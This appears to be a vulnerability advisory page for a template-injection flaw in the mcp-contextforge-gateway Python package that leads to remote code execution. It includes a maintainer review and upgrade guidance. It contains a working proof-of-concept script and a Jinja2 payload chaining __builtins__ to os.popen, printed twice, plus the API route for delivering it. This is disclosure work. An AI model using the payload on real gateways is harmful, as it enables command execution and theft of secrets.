GHSA-vwf3-4xxj-qg6h: Mcp contextforge gateway Remote Code Execution Vulnerability

HIGH
CWE-94 CWE-1336
Published
Advisory Summary

GHSA-vwf3-4xxj-qg6h is a HIGH remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Mcp contextforge gateway libraries in the PyPI ecosystem. The issue involves mcp-contextforge-gateway has server-side template injection (ssti) leading to remote code execution in `promptservice._render_template` via unsandboxed jinja2 environment. Remediation is available by upgrading affected packages to version 1.0.0.

GHSA-vwf3-4xxj-qg6h at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-vwf3-4xxj-qg6h
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Mcp contextforge gateway
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix GHSA-vwf3-4xxj-qg6h

To remediate this vulnerability, upgrade all affected Mcp contextforge gateway dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mcp-contextforge-gateway fixed: 1.0.0
pip install mcp-contextforge-gateway>=1.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show mcp-contextforge-gateway

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-vwf3-4xxj-qg6h, inspect your installed packages using pip:

pip show mcp-contextforge-gateway

Analyze the terminal output to locate any version of Mcp contextforge gateway in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.0), your application is affected.

Note: The pip show mcp-contextforge-gateway command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Mcp contextforge gateway, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `mcpgateway.services.prompt_service.PromptService` renders user-supplied prompt templates using Jinja2's plain `Environment()` rather than `SandboxedEnvironment`. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution. ### Details **Affected component:** `mcpgateway/services/prompt_service.py` **Affected version:** `0.9.0` (verified). The fix in the unreleased `main` branch indicates all earlier published versions are likewise affected. **Vulnerable code** `mcpgateway/services/prompt_service.py`, line 26: ```python from jinja2 import Environment, meta, select_autoescape ``` `mcpgateway/services/prompt_service.py`, line 135 (inside `PromptService.__init__`): ```python self._jinja_env = Environment( autoescape=select_autoescape(["html", "xml"]), trim_blocks=True, lstrip_blocks=True, ) ``` `mcpgateway/services/prompt_service.py`, lines 1592–1616 (`_render_template`): ```python def _render_template(self, template: str, arguments: Dict[str, str]) -> str: ... try: jinja_template = self._jinja_env.from_string(template) return jinja_template.render(**arguments) except Exception: try: return template.format(**arguments) except Exception as e: raise PromptError(f"Failed to render template: {str(e)}") ``` `_render_template` is invoked from `PromptService.get_prompt` (line 892): ```python rendered = self._render_template(prompt.template, arguments) ``` Where `prompt.template` is loaded from the database. The `template` field of the database row is populated via the `register_prompt`, `update_prompt`, and `register_prompts_bulk` API endpoints, which accept attacker-controlled template content from authenticated API callers. Because `self._jinja_env` is a plain `jinja2.Environment` rather than `jinja2.sandbox.SandboxedEnvironment`, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to `__builtins__.__import__` and calls `os.popen` (or any equivalent chain) executes arbitrary code at render time. ### PoC The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method. **Setup** ```bash pip install mcp-contextforge-gateway==0.9.0 ``` **Reproducer (`poc.py`)** ```python import os import warnings with warnings.catch_warnings(): warnings.simplefilter("ignore") from mcpgateway.services.prompt_service import PromptService import mcpgateway print(f"[+] mcpgateway version: {mcpgateway.__version__}") PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt") if os.path.exists(PROOF): os.remove(PROOF) service = PromptService() print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}") payload = ( "{{ self.__init__.__globals__.__builtins__" ".__import__('os').popen('echo MCPGATEWAY_RCE > " + PROOF.replace('\\', '/') + "').read() }}" ) print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}") service._render_template(payload, {}) print(f"[+] PROOF exists after render: {os.path.exists(PROOF)}") if os.path.exists(PROOF): with open(PROOF) as f: print(f"[+] PROOF contents: {f.read().strip()!r}") ``` **Verified output** ``` [+] mcpgateway version: 0.9.0 [+] PromptService._jinja_env type: Environment [+] PROOF exists before render: False [+] PROOF exists after render: True [+] PROOF contents: 'MCPGATEWAY_RCE' ``` The file `MCPGATEWAY_RCE_PROOF.txt` is written to disk by the embedded `os.popen` call, demonstrating arbitrary command execution in the gateway process. Replacing `echo MCPGATEWAY_RCE > ...` with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect. **End-to-end via the API** A full attack against a deployed gateway uses the same payload supplied as the `template` field to `POST /prompts` (or `PUT /prompts/{id}`). Once stored, the template fires every time the prompt is rendered via the gateway's MCP `prompts/get` flow. ### Impact This is a Server-Side Template Injection vulnerability in a component (`PromptService`) that is exposed via the gateway's REST API. The attacker requirement is **authenticated API access with permission to register or update prompts** — a normal capability for users in the gateway's intended deployment model. **Successful exploitation yields:** - Arbitrary command execution on the gateway host with the gateway process's privileges - Read/write access to the gateway's filesystem - Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials) - Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints) - Persistence by registering additional malicious prompts, modifying configuration, or writing to disk **Affected user populations:** - Any deployment running a published version of `mcp-contextforge-gateway` from PyPI - Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants - CI/CD pipelines that programmatically register prompt templates from untrusted sources - Deployments that import or sync prompt definitions from external registries **Suggested remediation requests:** 1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts 2. Publish the patched release to PyPI so `pip install --upgrade` returns a fixed version 3. Mark the relevant `CHANGELOG.md` entry as a security fix and add an upgrade-urgency note in `SECURITY.md` for users still on affected versions --- ## Maintainer review (accepted) Reproduced and **accepted**. Findings from the maintainer's review: **Confirmed valid (SSTI → RCE).** In `mcpgateway/services/prompt_service.py` as published in v0.9.0 (and all earlier releases), `_render_template()` runs `Environment().from_string(template).render(**args)` on a plain, unsandboxed `jinja2.Environment` (v0.9.0 line 27: `from jinja2 import Environment`). With no render-time sandbox, the `__builtins__.__import__('os').popen(...)` chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source. **Reachable with attacker-controlled input.** The `template` field is persisted by the authenticated write paths — `POST /prompts` (`prompts.create`), prompt update (`prompts.update`), and bulk register — then rendered in `get_prompt()` → `_render_template()`. Any authenticated principal holding `prompts.create`/`prompts.update` reaches RCE. CWE-1336 / CWE-94 and High severity confirmed. **Scope (set on this advisory):** affected `< 1.0.0` (0.1.0–0.9.0); patched `1.0.0`. **Already fixed.** Migrated to `SandboxedEnvironment` in #4072 (commit `4d3100466`, 2026-04-24), shipped in v1.0.0. Current `main` (1.0.3) additionally prevents the `str.format()` fallback from re-opening the attribute path when the sandbox rejects an expression (a `jinja2.exceptions.SecurityError` no longer falls through to `.format()`). **Correction to the report.** "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to `>= 1.0.0`. **Audit.** Other `jinja2.Environment` usages in the codebase (`main.py`, `version.py`, `tools/builder`, email templates, `content_security.py`) render trusted on-disk templates via `FileSystemLoader` or are parse-only — none render user-supplied template strings. No second instance of this pattern.

GHSA-vwf3-4xxj-qg6h Affected Mcp contextforge gateway Versions

1 component(s)
Fixed Versions:
1.0.0
Product / Package Ecosystem Affected Versions Fixed Version
mcp-contextforge-gateway
PyPI
< 1.0.0
1.0.0

References

Frequently Asked Questions

What is GHSA-vwf3-4xxj-qg6h?
GHSA-vwf3-4xxj-qg6h is a security vulnerability in Mcp contextforge gateway involving mcp-contextforge-gateway has Server-Side Template Injection (SSTI) leading to Remote Code Execution in `PromptService._render_template` via unsandboxed Jinja2 Environment under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Mcp contextforge gateway versions are affected?
Affected versions include releases prior to 1.0.0 across affected packages: mcp-contextforge-gateway.
What version fixes GHSA-vwf3-4xxj-qg6h?
Upgrading to 1.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mcp-contextforge-gateway affected?
Yes, mcp-contextforge-gateway is affected in releases prior to 1.0.0. Upgrade your dependency to 1.0.0 or later.
What CWE is associated with GHSA-vwf3-4xxj-qg6h?
GHSA-vwf3-4xxj-qg6h is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check PyPI dependencies for GHSA-vwf3-4xxj-qg6h?
Run the dependency tree command: 'pip show mcp-contextforge-gateway'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vwf3-4xxj-qg6h",
  "modified" : "2026-08-25T17:42:11Z",
  "published" : "2026-08-25T17:42:11Z",
  "aliases" : [ ],
  "summary" : "mcp-contextforge-gateway has Server-Side Template Injection (SSTI) leading to Remote Code Execution in `PromptService._render_template` via unsandboxed Jinja2 Environment",
  "details" : "### Summary\n\n`mcpgateway.services.prompt_service.PromptService` renders user-supplied prompt templates using Jinja2's plain `Environment()` rather than `SandboxedEnvironment`. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.\n\n### Details\n\n**Affected component:** `mcpgateway/services/prompt_service.py`\n**Affected version:** `0.9.0` (verified). The fix in the unreleased `main` branch indicates all earlier published versions are likewise affected.\n\n**Vulnerable code**\n\n`mcpgateway/services/prompt_service.py`, line 26:\n\n```python\nfrom jinja2 import Environment, meta, select_autoescape\n```\n\n`mcpgateway/services/prompt_service.py`, line 135 (inside `PromptService.__init__`):\n\n```python\nself._jinja_env = Environment(\n    autoescape=select_autoescape([\"html\", \"xml\"]),\n    trim_blocks=True,\n    lstrip_blocks=True,\n)\n```\n\n`mcpgateway/services/prompt_service.py`, lines 1592–1616 (`_render_template`):\n\n```python\ndef _render_template(self, template: str, arguments: Dict[str, str]) -> str:\n    ...\n    try:\n        jinja_template = self._jinja_env.from_string(template)\n        return jinja_template.render(**arguments)\n    except Exception:\n        try:\n            return template.format(**arguments)\n        except Exception as e:\n            raise PromptError(f\"Failed to render template: {str(e)}\")\n```\n\n`_render_template` is invoked from `PromptService.get_prompt` (line 892):\n\n```python\nrendered = self._render_template(prompt.template, arguments)\n```\n\nWhere `prompt.template` is loaded from the database. The `template` field of the database row is populated via the `register_prompt`, `update_prompt`, and `register_prompts_bulk` API endpoints, which accept attacker-controlled template content from authenticated API callers.\n\nBecause `self._jinja_env` is a plain `jinja2.Environment` rather than `jinja2.sandbox.SandboxedEnvironment`, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to `__builtins__.__import__` and calls `os.popen` (or any equivalent chain) executes arbitrary code at render time.\n\n### PoC\n\nThe reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.\n\n**Setup**\n\n```bash\npip install mcp-contextforge-gateway==0.9.0\n```\n\n**Reproducer (`poc.py`)**\n\n```python\nimport os\nimport warnings\n\nwith warnings.catch_warnings():\n    warnings.simplefilter(\"ignore\")\n    from mcpgateway.services.prompt_service import PromptService\n\nimport mcpgateway\nprint(f\"[+] mcpgateway version: {mcpgateway.__version__}\")\n\nPROOF = os.path.abspath(\"MCPGATEWAY_RCE_PROOF.txt\")\nif os.path.exists(PROOF):\n    os.remove(PROOF)\n\nservice = PromptService()\nprint(f\"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}\")\n\npayload = (\n    \"{{ self.__init__.__globals__.__builtins__\"\n    \".__import__('os').popen('echo MCPGATEWAY_RCE > \"\n    + PROOF.replace('\\\\', '/') + \"').read() }}\"\n)\n\nprint(f\"[+] PROOF exists before render: {os.path.exists(PROOF)}\")\nservice._render_template(payload, {})\nprint(f\"[+] PROOF exists after render:  {os.path.exists(PROOF)}\")\n\nif os.path.exists(PROOF):\n    with open(PROOF) as f:\n        print(f\"[+] PROOF contents: {f.read().strip()!r}\")\n```\n\n**Verified output**\n\n```\n[+] mcpgateway version: 0.9.0\n[+] PromptService._jinja_env type: Environment\n[+] PROOF exists before render: False\n[+] PROOF exists after render:  True\n[+] PROOF contents: 'MCPGATEWAY_RCE'\n```\n\nThe file `MCPGATEWAY_RCE_PROOF.txt` is written to disk by the embedded `os.popen` call, demonstrating arbitrary command execution in the gateway process. Replacing `echo MCPGATEWAY_RCE > ...` with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.\n\n**End-to-end via the API**\n\nA full attack against a deployed gateway uses the same payload supplied as the `template` field to `POST /prompts` (or `PUT /prompts/{id}`). Once stored, the template fires every time the prompt is rendered via the gateway's MCP `prompts/get` flow.\n\n### Impact\n\nThis is a Server-Side Template Injection vulnerability in a component (`PromptService`) that is exposed via the gateway's REST API. The attacker requirement is **authenticated API access with permission to register or update prompts** — a normal capability for users in the gateway's intended deployment model.\n\n**Successful exploitation yields:**\n\n- Arbitrary command execution on the gateway host with the gateway process's privileges\n- Read/write access to the gateway's filesystem\n- Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)\n- Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)\n- Persistence by registering additional malicious prompts, modifying configuration, or writing to disk\n\n**Affected user populations:**\n\n- Any deployment running a published version of `mcp-contextforge-gateway` from PyPI\n- Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants\n- CI/CD pipelines that programmatically register prompt templates from untrusted sources\n- Deployments that import or sync prompt definitions from external registries\n\n**Suggested remediation requests:**\n\n1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts\n2. Publish the patched release to PyPI so `pip install --upgrade` returns a fixed version\n3. Mark the relevant `CHANGELOG.md` entry as a security fix and add an upgrade-urgency note in `SECURITY.md` for users still on affected versions\n\n---\n\n## Maintainer review (accepted)\n\nReproduced and **accepted**. Findings from the maintainer's review:\n\n**Confirmed valid (SSTI → RCE).** In `mcpgateway/services/prompt_service.py` as published in v0.9.0 (and all earlier releases), `_render_template()` runs `Environment().from_string(template).render(**args)` on a plain, unsandboxed `jinja2.Environment` (v0.9.0 line 27: `from jinja2 import Environment`). With no render-time sandbox, the `__builtins__.__import__('os').popen(...)` chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.\n\n**Reachable with attacker-controlled input.** The `template` field is persisted by the authenticated write paths — `POST /prompts` (`prompts.create`), prompt update (`prompts.update`), and bulk register — then rendered in `get_prompt()` → `_render_template()`. Any authenticated principal holding `prompts.create`/`prompts.update` reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.\n\n**Scope (set on this advisory):** affected `< 1.0.0` (0.1.0–0.9.0); patched `1.0.0`.\n\n**Already fixed.** Migrated to `SandboxedEnvironment` in #4072 (commit `4d3100466`, 2026-04-24), shipped in v1.0.0. Current `main` (1.0.3) additionally prevents the `str.format()` fallback from re-opening the attribute path when the sandbox rejects an expression (a `jinja2.exceptions.SecurityError` no longer falls through to `.format()`).\n\n**Correction to the report.** \"Patched version not installable via pip\" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to `>= 1.0.0`.\n\n**Audit.** Other `jinja2.Environment` usages in the codebase (`main.py`, `version.py`, `tools/builder`, email templates, `content_security.py`) render trusted on-disk templates via `FileSystemLoader` or are parse-only — none render user-supplied template strings. No second instance of this pattern.",
  "severity" : [ ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mcp-contextforge-gateway"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/IBM/mcp-context-forge/security/advisories/GHSA-vwf3-4xxj-qg6h"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/IBM/mcp-context-forge/issues/538"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/IBM/mcp-context-forge/pull/4072"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/IBM/mcp-context-forge/commit/4d31004661858a2e99055b3c0c9f14218b8f7120"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/IBM/mcp-context-forge"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/IBM/mcp-context-forge/releases/tag/v1.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1336", "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T17:42:11Z",
    "nvd_published_at" : null
  }
}